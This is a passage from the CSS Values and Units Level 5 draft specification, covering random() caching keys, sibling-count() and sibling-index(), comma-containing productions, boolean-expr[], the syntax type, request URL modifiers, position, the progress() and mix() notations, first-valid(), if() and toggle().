lly different kind of value,we probably want to restrict it as well,for thematic consistency. 8.3. Generating/Caching Random Values: the random-caching-options value In a programming language like JavaScript,there’s a clear temporal ordering to code,so you can tell exactly when something like a call to Math.random() is evaluated.You can also store the results in a variable,making it clear when you’re reusing a single random value in multiple places,versus using a distinct random value in each location. CSS, on the other hand, is a declarative language(code is not "executed" in any particular order,nor is there any control over how many times something is "executed");it makes it very easy to apply identical styles to multiple elementsbut difficult to specify distinct values for each of them(making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied toor to distinct values on each);and it has very limited "variable" functionality(making it difficult to intentionally reuse a particular randomly-generated value in several places). To resolve these issues,the random() and random-item() functions are defined to generate random valuesunder the following caching semantics: Each instance of random() or random-item() in a stylesheetspecifies a random-caching key.Two instances of either function must resolve to identical valuesif their random-caching keys are identical;t

ey must resolve to distinct valuesif they’re different. ("Distinct" here means generated by a fresh random operation;this might coincidentally result in the same value as another random operation.) For random(),the random-caching key is a tuple of: The used value of the minimum calculation. The used value of the maximum calculation. The used value of the step calculation, if present,or null otherwise. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. For random-item(),the random-caching key is a tuple of: The number of arguments to the function. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. The "unique value per element or pseudo-element" must have the same lifetimeas a JavaScript reference to the element(or to the originating element + sufficient additional info to uniquely identify the pseudo-element).Elements in separate documents(including across refreshes of the same page,which produces distinct documents with distinct elements) should have distinct unique values.(This is not strictly re

uired,to allow for pseudo-random generation of these values,but uniqueness should be likely enoughthat authors cannot depend on elements having the same values across documents.) Additionally, the random generation method should generate distinct values for the same operationwhen invoked on different documents(including refreshes of the same page). For example, in the following stylesheet: .random-square { width: random(100px, 500px); height: random(100px, 500px);} The random-caching keys for both functions are identical: (100px, 500px, null, null, null).This means that both will resolve to the exact same value,guaranteeing a square elementwith a size somewhere between 100px and 500px.Additionally, every .random-square elementwill have the same size. On other hand, in this stylesheet:.random-rect { width: random(100px, 500px); height: random(--x, 100px, 500px);} The random-caching keys are distinct between the two functions:the function in width has (100px, 500px, null, null, null),while the function in height has (100px, 500px, null, --x, null). This means the two functions will resolve to distinct random values,making it very unlikely for the element to be square.However, every element matching .random-rect will still have the same random size. Changing any aspect of the function also alters this key.The following two declarations are similarly distinct,resulting in the width and height havi

g no connection to each other:.random-rect-2 { width: random(100px, 500px); height: random(100px, 500px, by 50px);} But so long as the used values end up identical,two functions that look distinct might end up identical.For example, in the following code:.random-square-2 { font-size: 16px; width: random(160px, 320px); height: random(10em, 20em);} The two functions superficially look different,but after the lengths are fully resolvedthey end up with identical random-caching keys;each is (160px, 320px, null, null, null),so actually the widths and heights will end up always identical. By default, each instance of a random() function in a stylesheetessentially resolves to a static value,which is then shared by every element that property applies to.This behavior can be changed with the per-element keyword. For example, in:.foo { width: random(100px, 500px); } Multiple elements matching .foo will end up with the same random width. But in:.foo { width: random(per-element, 100px, 500px); } Every element matching .foo will get its own unique width. Note that this causes the value to be unique per element,not per value necessarily.For example, in:.random-squares { width: random(per-element, 100px, 500px); height: random(per-element, 100px, 500px);} Every element matching .random-squares will get a distinct random value,but that value will be the same for width and height on a given element,

aking the element square.This is because in both propertiesthe random-caching key is (100px, 500px, null, null, [unique value for the element]),so both functions will resolve to the same length on a single element. This makes random values in custom properties act more predictably.The preceding code could also be written as:.foo { --size: random(per-element, 100px, 500px); width: var(--size); height: var(--size);} 9. Tree Counting Functions: the sibling-count() and sibling-index() notations The sibling-count() functional notation represents,as an integer,the total number of child elements in the parent of the element on which the notation is used. The sibling-index() functional notation represents,as an integer,the index of the elementon which the notation is usedamong the children of its parent.Like :nth-child(), sibling-index() is 1-indexed. Note: The counter() function can provide similar abilities as sibling-index(),but returns a string rather than an integer. When used on a pseudo-element,these both resolve as if specifiedon its ultimate originating element. Note: Like the rest of CSS (other than selectors), sibling-count() and sibling-index() operate on the flat tree. Note: These functions may, in the future,be extended to accept an of selector argument,similar to :nth-child(),to filter on a subset of the children

Introduction This is a diff spec against CSS Values and Units Level 4. 1.1. Module Interactions This module extends [CSS-VALUES-4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3,and A.2. 2. Textual Data Types See CSS Values 4 § 4 Textual Data Types. 3. Value Definition Syntax See CSS Values 4 § 2 Value Definition Syntax. Additionally, Boolean combinations of a conditional notation.These are written using the boolean-expr[] notation,and represent recursive expressions of boolean logicusing keywords and parentheses,applied to the grammar specified in brackets,e.g. boolean-expr[ ( <media-feature> ) ] to express media queries. 3.1. Functional Notation Definitions See CSS Values 4 § 2.6 Functional Notation Definitions. 3.1.1. Commas in Function Arguments Functional notation often uses commasto separate parts of its internal grammar.However, some functions(such as mix())allow values that, themselves,can contain commas.These values(currently whole-value, declaration-value, and any-value)are comma-containing productions. To accommodate these sorts of grammars unambiguously,the comma-containing productions can be optionally wrapped in curly braces {}.These braces are syntactic, not part of the actual value.Specifically: A comma-containing production can either start with a "{" token, or not. If it does not start with

"{" token,then it cannot contain commas or {} blocks,in addition to whatever specific restrictions it defines for itself.(The production stops parsing at that point,so the comma or {} block is matched by the next grammar term instead;probably the function’s own argument-separating comma.) If it does start with a "{" token,then the production matches just the {} block that the "{" token opens.It represents the contents of that block,and applies whatever specific restrictions it defines for itselfto those contents,ignoring the {} block wrapper. For example, the grammar of the random-item() function is: random-item( random-caching-options, [declaration-value?]# ) The # indicates comma-separated repetitions,so randomly choosing between three keywordswould be written as normal for functions,like:font-family: random-item(--x, serif, sans-serif, monospace); However, sometimes the values you want to choose betweenneed to include commas.When this is the case,wrapping the values in {}allows their commas to be distinguishedfrom the function’s argument-separating commas:font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace}); This randomly chooses one of three font-family lists:either Times, serif, or Arial, sans-serif, or Courier, monospace. This is not all-or-nothing;you can use {} around some arguments that need it,while leaving others bare when they don’t need it.You are

also allowed to use {} around a value when it’s not strictly required.For example:font-family: random-item(--x, {Times, serif}, sans-serif, {monospace}); This represents choosing between three font-family lists:either Times, serif, or sans-serif, or monospace. However, this {}-wrapping is only allowed for some function arguments—​those defined as comma-containing productions.It’s not valid for any other productions;if you use {} around other function arguments,it’ll just fail to match the function’s grammarand become invalid.For example, the following is invalid:background-image: linear-gradient(to left, {red}, magenta); Note: Because {} wrappers are allowed even when not explicitly required,they can be used defensively around valueswhen the author isn’t sure if they’ll end up containing commas or not,due to arbitrary substitution functions like var().For example, font-family: random-item(--x, {var(--list1)}, monospace) will work correctlyregardless of whether the --list1 custom propertycontains a comma-separated list or not. Functional notations are serialized without {} wrappers whenever possible. The following generic productions are comma-containing productions: any-value whole-value declaration-value For legacy compat reasons,the declaration-value defined the fallback value for var() is a non-strict comma-containing production.It ignores the rules restricting what it can co

tainwhen it does not start with a "{" token:it is allowed to contain commas and {} blocks.It still follows the standard comma-containing production ruleswhen it does start with a "{" token, however:the fallback is just the contents of the {} block,and doesn’t include the {} wrapper itself. Other contexts may define that they use non-strict comma-containing productions,but it should be avoided unless necessary. 3.2. Boolean Expression Multiplier boolean-expr[] Several contexts(such as @media, @supports, if(), ...)specify conditions,and allow combining those conditions with boolean logic (and/or/not/grouping).Because they use the same non-trivial recursive syntax structure,the special boolean-expr[] production represents this pattern generically. The boolean-expr[] notation wraps another value type in the square brackets within it,e.g. boolean[ test ],and represents that value type alone as well asboolean combinationsusing the not, and, and or keywordsand grouping parenthesis.It is formally equivalent to:boolean-expr[ test ] = not boolean-expr-group | boolean-expr-group [ [ and boolean-expr-group ]* | [ or boolean-expr-group ]* ]boolean-expr-group = test | ( boolean-expr[ test ] ) | general-enclosed The boolean-expr[] production represents a true, false, or unknown value.Its value is resolved using 3-value Kleen

logic,with top-level unknown values(those not directly nested inside the grammar of another boolean-expr[])resolving to false unless otherwise specified;see Appendix B: Boolean Logic for details. For example, the @container rule allows a wide variety of tests:including size queries, style queries, and scroll-state queries.All of these are arbitrarily combinable with boolean logic.Using boolean-expr[], the grammar for an @container querycould be written as: container-query = boolean-expr[ cq-test ]cq-test = (size-query) | style( style-query ) | scroll-state( scroll-state-query )size-query = boolean-expr[ ( size-feature ) ] | size-featurestyle-query = boolean-expr[ ( style-feature ) ] | style-featurescroll-state-query = boolean-expr[ ( scroll-state-feature ) ] | scroll-state-feature The general-enclosed branch of the logic allows for future compatibility—​unless otherwise specified new expressions in an older UAwill be parsed and considered “unknown”,rather than invalidating the production.For consistency with that allowance,the test term in a boolean-expr[] should be defined to match general-enclosed. 3.3. Specifying CSS Syntax in CSS: the syntax type Some features in CSS,such as the attr() functionor registered custom properties,allow you to specify how another value is meant to be parsed.This is declared via the syntax production,which resembles a limited form of the CSS va

ue definition syntax used in specifications to define CSS features,and which represents a syntax definition:syntax = * | syntax-component [ syntax-combinator syntax-component ]* | syntax-stringsyntax-component = syntax-single-component syntax-multiplier? | transform-list syntax-single-component = syntax-type-name | identsyntax-type-name = angle | color | custom-ident | image | integer | length | length-percentage | number | percentage | resolution | string | time | url | transform-functionsyntax-combinator = |syntax-multiplier = [ # | + ]syntax-string = string A syntax-component consists of eithera syntax-type-name between (angle brackets),which maps to one of the supported syntax component names,or an ident, which represents any keyword.Additionally,a syntax-component may contain a multiplier,which indicates a list of values. Note: This means that length and length are two different types:the former describes a length,whereas the latter describes a keyword length. Multiple syntax-components may be combined with a | delim-token,causing the syntax components to be matchedagainst a valuein the specified order. percentage | number | auto The above, when parsed as a syntax,would accept percentage values, number values,as well as the keyword auto. red | color The syntax def

nition resulting from the above syntax,when used as a grammar for parsing,would match an input red as an identifier,but would match an input blue as a color. The * delim-token represents the universal syntax definition. The transform-list productionis a convenience form equivalent to transform-function+. Note that transform-list may notbe followed by a syntax-multiplier. Whitespace is not allowedbetween the angle bracket delim-tokens ( )and the syntax-type-name they enclose,nor is whitespace allowed to precede a syntax-multiplier. Note: The whitespace restrictions also apply to transform-list. A syntax-string is a string whose value successfully parses as a syntax,and represents the same value as that syntax would. Note: syntax-string mostly exists for historical purposes;before syntax was defined,the @property rule used a string for this purpose. 3.3.1. Parsing as syntax The purpose of a syntax is usually to specify how to parse another value(such as the value of a registered custom property,or an attribute value in attr()).However, the generic parse something according to a CSS grammar algorithmreturns an unspecified internal structure,since parse results might be ambiguousand need further massaging. To avoid these issues and get a well-defined result,use parse with a syntax: To parse with a syntax given a string or list or component values values,a syntax value syntax,and optionally an

element el for context,perform the following steps.It returns either CSS values,or the guaranteed-invalid value. Parse a list of component values from values,and let raw parse be the result. If el was given, substitute arbitrary substitution functions in raw parse,and set raw parse to that result. parse values according to syntax,with a * value treated as declaration-value?,and let parsed result be the result.If syntax used a | combinator,let parsed result be the parse result from the first matching clause. If parsed result is failure,return the guaranteed-invalid value. Assert: parsed result is now a well-defined list of one or more CSS values,since each branch of a syntax defines an unambiguous parse result(or the * syntax is unambiguous on its own). Return parsed result. Note: This algorithm does not resolved the parsed valuesinto computed values;the context in which the value is used will usually do that already,but if not,the invoking algorithm will need to handle that on its own. 4. Extensions to Level 4 Value Types See CSS Values and Units Level 4. 4.1. Resource Locators: the url type See CSS Values 4 § 4.5 Resource Locators: the url type. 4.1.1. Request URL Modifiers request-url-modifiers are url-modifiersthat affect the url’s resource request by applying associated URL request modifier steps.See CSS Values 4 § 4.5.4 URL Processing Model. This specificati

n defines the following request-url-modifiers:request-url-modifier = crossorigin-modifier | integrity-modifier | referrerpolicy-modifiercrossorigin-modifier = crossorigin(anonymous | use-credentials)integrity-modifier = integrity(string)referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) crossorigin-modifier = crossorigin(anonymous | use-credentials) The URL request modifier steps for this modifier given request req are: Set requests mode to "cors". If the given value is use-credentials,set requests credentials mode to "include". integrity-modifier = integrity(string) The URL request modifier steps for this modifier given request req are to set requests integrity metadata to the given string. referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) The URL request modifier steps for this modifier given request req are to set requests referrer policy to the ReferrerPolicy that matches the given value. To apply request modifiers from URL value given a request req and a url url,call the URL request modifier steps for url’s request-url-modifiers in sequencegiven req. 4.2. 2D Po

itioning: the position type The position value specifies the positionof an alignment subject (e.g. a background image)inside an alignment container (e.g. its background positioning area)as a pair of offsets between the specified edges(defaulting to the left and top).Its syntax is:position = position-one | position-two | position-fourposition-one = [ left | center | right | top | bottom | x-start | x-end | y-start | y-end | block-start | block-end | inline-start | inline-end | length-percentage]position-two = [ [ left | center | right | x-start | x-end ] && [ top | center | bottom | y-start | y-end ]| [ left | center | right | x-start | x-end | length-percentage ] [ top | center | bottom | y-start | y-end | length-percentage ]| [ block-start | center | block-end ] && [ inline-start | center | inline-end ]| [ start | center | end ]{2}]position-four = [ [ [ left | right | x-start | x-end ] length-percentage ] && [ [ top | bottom | y-start | y-end ] length-percentage ]| [ [ block-start | block-end ] length-percentage ] && [ [ inline-start | inline-end ] length-percentage ]| [ [ start | end ] length-percentage ]{2}] If only one value is specified (position-one),the second value is assumed to be center. If two values are given (position-two),a length-percentage as the first value representsthe horizontal position as the offset betweenthe left edges of the alignment subject and alignment container,and

length-percentage as the second value representsthe vertical position as an offset between their top edges. If both keywords are one of start or end,the first one represents the block axis and the second the inline axis. Note: A pair of axis-specific keywords can be reordered,while a combination of keyword and length or percentage cannot.So center left or inline-start block-end is valid,while 50% left is not. start and end aren’t axis-specific,so start end and end start represent two different positions. If four values are given (position-four)then each length-percentage represents an offset betweenthe edges specified by the preceding keyword.For example, background-position: bottom 10px right 20px represents a 10px vertical offset up from the bottom edgeand a 20px horizontal offset leftward from the right edge. Positive values represent an offset inward from the edge of the alignment container.Negative values represent an offset outward from the edge of the alignment container. The following declarations give the stated (horizontal, vertical)offsets from the top left corner: background-position: left 10px top 15px; /* 10px, 15px */background-position: left top ; /* 0px, 0px */background-position: 10px 15px; /* 10px, 15px */background-position: left 15px; /* 0px, 15px */background-position: 10px top ; /* 10px, 0px */ positions can also be relative to other corners than

the top left.For example, the following puts the background image10px from the bottom and 3em from the right: background-position: right 3em bottom 10px The computed value of a position isa pair of offsets (horizontal and vertical),each given as a computed length-percentage value,representing the distance between the left edges and top edges (respectively)of the alignment subject and alignment container. length-percentage A length-percentage value specifies the size of the offsetbetween the specified edges of the alignment subject and alignment container. For example, for background-position: 2cm 1cm,the top left corner of the background image is placed2cm to the right and 1cm belowthe top left corner of the background positioning area. A percentage for the horizontal offset is relative to(width of alignment container - width of alignment subject).A percentage for the vertical offset is relative to(height of alignment container - height of alignment subject). For example, with a value pair of 0% 0%,the upper left corner of the alignment subject is aligned withthe upper left corner of the alignment container A value pair of 100% 100% placesthe lower right corner of the alignment subject in the lower right corner of the alignment container.With a value pair of 75% 50%,the point 75% across and 50% down the alignment subject is to

e placed at the point 75% across and 50% down the alignment container. Diagram of the meaning of background-position: 75% 50%. top right bottom left Offsets the top/left/right/bottom edges (respectively)of the alignment subject and alignment container by the specified amount (defaulting to 0%)in the corresponding axis. y-start y-end x-start x-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the [=y-axis|y/x axis. block-start block-end inline-start inline-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the block/inline axis. center Computes to a 50% offset in the corresponding axis. Unless otherwise specified, the flow-relative keywords are resolvedaccording to the writing mode of the element on which the value is specified. Note: The background-position property also accepts a three-value syntax.This has been disallowed generically because it creates parsing ambiguitieswhen combined with other length or percentage components in a property value. Need to define how this syntax would expand to the longhands of background-position if e.g. var() is used for some (or all) of the components. [Issue #9690] 4.2.1. Parsing position When specified in a grammar alongside other keywords, lengths, or percentages, position is greedily parsed;\

it consumes as many components as possible. For example, transform-origin defines a 3D positionas (effectively) position length?.A value such as left 50px will be parsed as a 2-value position,with an omitted z-component;on the other hand,a value such as top 50px will be parsed as a single-value position followed by a length. 4.2.2. Serializing position When serializing the specified value of a position: If only one component is specified: The implied center keyword is added,and a 2-component value is serialized. If two components are specified: Keywords are serialized as keywords. length-percentages are serialized as length-percentages. Components are serialized horizontal first, then vertical. If four components are specified: Keywords and offsets are both serialized. Components are serialized horizontal first, then vertical;alternatively block-axis first, then inline-axis. Note: position values are never serialized as a single value,even when a single value would produce the same behavior,to avoid causing parsing ambiguities in some grammarswhere a position is placed next to a length,such as transform-origin. The computed value of a position is serialized as a pair of length-percentagesrepresenting offsets from the left and top edges, in that order. 4.2.3. Combination of

position Interpolation of position is defined asthe independent interpolation of each component (x, y)normalized as an offset from the top left corneras a length-percentage. Addition of position is likewise defined asthe independent addition each component (x, y)normalized as an offset from the top left corneras a length-percentage. 5. Interpolation Progress Functional Notations This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245] The progress(), media-progress(), and container-progress() functional notations represent the proportional distanceof a given value (the progress value)from one value (the progress start value)to another value (the progress end value).They allow drawing a progress ratio from math functions, media features, and container features,respectively,following a common syntactic pattern:progress-function() = progress-function( progress value from start value to end value ) Each resolves to a number by calculating a progress function. To calculate a progress function,given a progress value, progress start value,and progress end value: If the progress start value and progress end value are different values (progress value - progress start value) / (progress end value - progress start value). If the progress start value and progress end value are the same value 0, -∞, or +∞,depending on whether progress value is equal to, less than,

or greater thanthe shared value. Note: The return value is a plain number,not made consistent with its arguments by default. The resulting number can then be input into other calculations,such as a math function or a mix notation. 5.1. Calculated Progress Values: the progress() notation The progress() functional notationreturns a number valuerepresenting the position of one calculation (the progress value)between two other calculations (the progress start value and progress end value). progress() is a math function. The syntax of progress() is defined as follows:progress() = progress(calc-sum, calc-sum, calc-sum) where the first, second, and third calc-sum values representthe progress value, progress start value, and progress end value,respectively. The argument calculations can resolve to any number, dimension, or percentage,but must have a consistent type or else the function is invalid. The value of progress() is a number,determined by calculating a progress function,then made consistent with the consistent type of its arguments. Do we need a percent-progress() notation,or do enough places auto-convert that it’s not necessary? Note: The progress() function is essentially syntactic sugarfor a particular pattern of calc() notations,so it’s a math function. 5.2. Media Query Progress Values: the media-progress() notation Similar to the progress() notation,the media-progress() functional nota

ionreturns a number valuerepresenting current value of the specified media query [MEDIAQUERIES-4] as a progress value between two explicit values of the media query (as the progress start value and progress end value). The syntax of media-progress() is defined as follows:media-progress() = media-progress(mf-name, calc-sum, calc-sum) where the value of the media feature corresponding to mf-name represents the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified media feature must be a valid “range” type feature,the specified progress start value and progress end value must be valid values for the specified media query,and both calculation values must have a consistent type,or else the function is invalid. The progress start value and progress end value calculations are interpreted as specified for the media feature (rather than as specified by the context the function is used in). The value of media-progress() is a number,determined by calculating a progress function. Note: media-progress() is not a math function;it’s just a function that evaluates to a number. 5.3. Container Query Progress Values: the container-progress() notation The container-progress() functional notationis identical to the media-progress() functional notation,except that it accepts container features [CSS-CONTAIN-3] in place of media features. The syntax of container-prog

ess() is defined as follows:container-progress() = container-progress(mf-name [ of container-name ]?, calc-sum, calc-sum) where mf-name represents a size feature and the optional container-name component specifiesthe named containers to consider when selecting a containerto resolve them against.The value of the size feature is the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified mf-name must be a valid size feature,the specified progress start value and progress end value must be valid values for that size feature,and both calculation values must have a consistent type,or else the function is invalid. container-progress() is only valid in a property value context;it cannot be used in, for example, a media query. The progress start value and progress end value calculations are interpreted as specified for the size feature (rather than as specified by the context the function is used in).If no appropriate containers are found, container-progress() resolves its size-feature queryagainst the small viewport size. The value of media-progress() is a number,determined by calculating a progress function. Note: container-progress() is not a math function;it’s just a function that evaluates to a number. 6. Mixing and Interpolation Notations: the *-mix() family This feature does not handle multiple breakpoints very well,and might need to be

edesigned. [Issue #6245] Several mix notations in CSSallow representing the interpolation of two values,the mix start value and the mix end value,at a given point in progress between them (the mix progress value).These functional notations follow the syntactic pattern:mix-function() = mix-function( progress, [=mix start value|start-value=], [=mix end value|end-value=] ) The mix notations in CSS include: calc-mix(),for interpolating length, percentage, time,and other dimensions representable in calc() expressions color-mix(),for interpolating two color values cross-fade(),for interpolating image values palette-mix(),for interpolating two font-palette values and finally the generic mix() notation,which can represent the interpolation of any property’s values(but only the property’s entire value, not individual components). Note: The cross-fade() notationalso has an alternative syntaxthat allows for mixing more than two values,but does not allow for the more complex expressions of progress. The mix() notation also has a variant that takes a set of keyframes.It does this by referring to an @keyframes rule,and pulling the corresponding property declaration out of that.It would be nice to allow the other mix notations to take keyframe also,but how would we represent a set of keyframes for a component value (rather than a full property value)? 6.1. Representing Interpolation Progress: the pr

gress type The progress value type representsthe mix progress value in a mix notation,and ultimately resolves to a percentage.It can, however, draw that percentage valuefrom sources such as media queries and animation timelines,and can also convert it through an easing function before using it for interpolation. Its syntax is defined as follows:progress = [ percentage | number | animation-timeline ] && [ by easing-function ]? where: percentage-token Computes to the equivalent number: 0% becomes 0, 100% becomes 1,etc. Note: This only allows literal percentages,like 15%;calculations like calc(100% / 7) will not work,as they will instead attempt to use the normal rulesfor resolving a percentage against another type(such as length, in width).Use expressions like calc(1 / 7) instead. number Represents the mix progress value. Note: This allows the use of the progress(), media-progress(),and container-progress() notations. animation-timeline Represents the mix progress value as the progress of the specified animation timeline.The values none and auto, however,are invalid. [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2] easing-function Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSS-EASING-1] Note: Progress values below 0 and above 1 are valid;they

llow representing interpolation beyond the rangedefined by the start and end values. Note: While progress itself can be a percentage,mapping directly to the equivalent number,a function that resolves to a number,like progress(),resolves percentages using the normal rules for the context;for example, in width, they would be resolved against a length. The computed value of a progress value specified with percentage or number is the computed number converted through the easing-function (if any).The computed value of a progress value specified with animation-timeline is the computed animation-timeline and easing-function (if any). 6.2. Interpolated Numeric and Dimensional Values: the calc-mix() notation The calc-mix() mix notation represents an interpolated numeric or dimensional value.Like calc(), it is a math function,with the following syntactic form:calc-mix() = calc-mix( progress, calc-sum, calc-sum ) The calc-sum arguments can resolveto any number, dimension, or percentage,but must have a consistent type or else the function is invalid.The result’s type will be the consistent type, made consistent with the type of the progress value. The used value of a valid calc-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a number,then the computed value is likewisethe result of interpolating the two c

mputed values to that progress value(in other words, A * (1-progress) + B * progress)it is otherwise the calc-mix() notation itselfwith its arguments each computed according to their type. 6.3. Interpolated Color Values: the color-mix() notation This specification extends the color-mix() functional notation as a mix notation accepting the following syntaxes:color-mix() = color-mix( [ progress && color-interpolation-method? ] , color, color ) | color-mix( color-interpolation-method, [color && percentage [0,100]?]#{2} ) The used value of the first mix notation variantis equivalent to assigning the progress value,as a percentage,to the percentage of the second color argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the color-mix() Function for the normative definition of the second variant. progress allows returning percentages outside 0-100%,but color-mix() doesn’t allows such values,so need to define how that gets processed. 6.4. Interpolated Image Values: the cross-fade() notation This specification extends the cross-fade() functional notation as a mix notation accepting the following syntaxes:cross-fade() = cross-fade( progress, [ image | color ], [ image | color ] ) | cross-fade( cf-image# ) The used value of the first mix notation variantis equivalent to assigning the progress v

lueas the percentage of the second color argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the cross-fade() notation for the normative definition of the second variant. 6.5. Interpolated Transform Values: the transform-mix() notation The transform-mix() mix notation represents an interpolated transform-list,with the following syntactic form:transform-mix() = transform-mix( progress, transform-list, transform-list ) The used value of a valid transform-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a percentage,and the transform-lists can be interpolatedwithout used-value-time information,then the computed value is likewisethe result of interpolating the two computed values to that progress value;it is otherwise the transform-mix() notation itselfwith its arguments each computed according to their type. transform-mix() is, itself, a transform-function. 6.6. Interpolated Property Values: the mix() notation Interpolation of any two property values can be representedby the mix() mix notation,which supports two alternative syntax patterns:mix() = mix( progress , whole-value , whole-value ) | mix( progress && of keyframes-name ) The first syntax alternative, like other mix notations,interpolates betwe

n the first whole-value (its mix start value)and the second whole-value (its mix end value).The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes,allowing for more complex interpolation curves. For the standard mix notation variant,if the two whole-values being interpolated by mix() are interpolable as values for the property in which it is specified,and the interpolated value can be represented without mix(),the computed value of mix() isthe result of interpolating these two valuesto the progress given by progress.Otherwise,the computed value of mix() isthe mix() functional notation itselfwith its progress value computedand its whole-values (if provided)computed as values for this property. For example, most uses of mix() will resolve at computed-value time: color: mix(90%, red, blue);/* via simple interpolation, computes to: */color: rgb(10% 0 90%);color: mix(90%, currentcolor, black);/* can’t be fully resolved at computed-value time, but still has a defined representation: */color: color-mix(currentcolor 90%, black 10%);float: mix(90%, left, right);/* discretely animatable */float: right; But a few cases don’t have an intermediate representation:transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg));/* because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the in

erpolated value can’t actually be represented. Computes to: */transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg));transform: mix(90% of ripple); The mix() notation is a whole-value.Additionally,if any of its whole-value arguments are not animatable,the notation is invalid. For example, the following declarations are invalid,and will be ignored: /* Invalid start value */color: mix(90%, #invalid, #F00);/* Function is mixed with other values */background: url(ocean) mix(10%, blue, yellow);/* animation-* is not animatable */animation-delay: mix(0%, 0s, 2s); 7. Miscellaneous Value Substituting Functions 7.1. Representing An Entire Property Value: the whole-value type Several functions defined in this specificationcan only be used as the "whole value" of a property.For example, background-position: toggle(50px 50px, center); is valid,but background-position: toggle(50px, center) 50px; is not.The whole-value production represents these values. All properties implicitly accept a whole-value as their entire value,just as they accept the CSS-wide keywords as their entire value. When used as a component value of a function, whole-value also represents any CSS valuenormally valid as the whole valueof the property in which it is used(including additional whole-value functions).However, some functions may restrictwhat a whole-value argument can include. 7.2. Selecting the First Supported Value: th

first-valid() notation CSS supports progressive enhancement with its forward-compatible parsing:authors can declare the same property multiple times in a style rule,using different values each time,and a CSS UA will automatically use the last one that it understandsand throw out the rest.This principle, together with the @supports rule,allows authors to write stylesheets that work wellin old and new UAs simultaneously. However, using var() (or similar substitution functions that resolve after parsing)thwarts this functionality;CSS UAs must assume any such property is valid at parse-time. The first-valid() functional notation inlines the fallback behaviorintrinsic to parsing declarations.Unlike most notations,it can accept any valid or invalid syntax in its arguments,and represents the first value among its argumentsthat is supported (parsed as valid) by the UAas the whole value of the property it’s used in.first-valid() = first-valid( declaration-value# ) If none of the arguments represent a valid value for the property,the property is invalid at computed-value time. first-valid() is a whole-value. Should this have a different name?We didn’t quite decide on it during the resolution to add this. Note: Despite effectively taking whole-values as its argument, first-valid() is instead defined to take declaration-valuesbecause, by definition,it’s intended to be used in cases where its values might be invalid for the de

laration it’s in. declaration-value imposes no contextual validity constraints on what it matches,unlike whole-value. 7.3. Conditional Value Selection: the if() notation The if() notation is an arbitrary substitution function that represents conditional values.Its argument consists of an ordered semi-colon–separated list of statements,each consisting of a conditionfollowed by a colonfollowed by a value.An if() notation representsthe value corresponding to the first condition in its argument list to be true;if no condition matches,then the if() notation represents an empty token stream. The if() notation syntax is defined as follows:if() = if( [ if-condition : declaration-value? ; ]* if-condition : declaration-value? ;? )if-condition = boolean-expr[ if-test ] | elseif-test = supports( [ supports-condition | ident : declaration-value ] ) | media( media-query ) | style( style-query ) The else keyword representsa condition that is always true. To resolve an if() function,return the declaration-value?associated with the first if-condition that is true;if none are true,return nothing (an empty token stream). Note: Unlike using @media/@supports/@container rules,which just ignore their contents when they’re falseand let the cascade determine what values otherwise apply,declarations with if() do not roll back the cascade if the conditions are false;any fallback values must be provided i

line. 7.4. Toggling Between Values: the toggle() notation The toggle() expression allows descendant elementsto cycle over a list of values instead of inheriting the same value. The following example makes em elements italic in general,but makes them normal if they’re inside something that’s italic: em { font-style: toggle(italic, normal); } The following example cycles markers for nested lists,so that a top level list has disc-shaped markers,but nested lists use circle, then square, then box,and then repeat through the list of marker shapes,starting again (for the 5th list deep) with disc. ul { list-style-type: toggle(disc, circle, square, box); } The syntax of the toggle() expression is:toggle() = toggle( whole-value# ) The toggle() notation is a whole-value.However, it is not allowed to be nested,nor may it contain attr() or calc() notations;declarations containing such constructs are invalid. The following toggle() examples are all invalid: background-position: 10px toggle(50px, 100px);/* toggle() must be the sole value of the property */list-style-type: toggle(disc, 50px);/* 50px isn’t a valid value of list-style-type */ To determine the computed value of toggle(),first evaluate each argument as if it were the sole value of the property in which toggle() is placedto determine the computed value that each represents,called Cn for the n-th argument to toggle().Then, compare the property

s inherited value with each Cn.For the earliest Cn that matches the inherited value,the computed value of toggle() is Cn+1.If the match was the last argument in the list,or there was no match,the computed value of toggle() is the computed value that the first argument represents. Note: This means that repeating values in a toggle() short-circuits the list.For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em). Note: That toggle() explicitly looks at the computed value of the parent,so it works even on non-inherited properties.This is similar to the inherit keyword,which works even on non-inherited properties. Note: That the computed value of a property is an abstract set of values,not a particular serialization [CSS21],so comparison between computed values should always be unambiguous and have the expected result.For example,a Level 2 background-position computed valueis just two offsets, each represented as an absolute length or a percentage,so the declarations background-position: top center and background-position: 50% 0% produce identical computed values.If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,please provide feedback so we can fix it. If toggle() is used on a shorthand property,it sets each of its longhands to a toggle() valuewith arguments corresponding to what the longhand would have receivedhad each of the original toggle() arguments

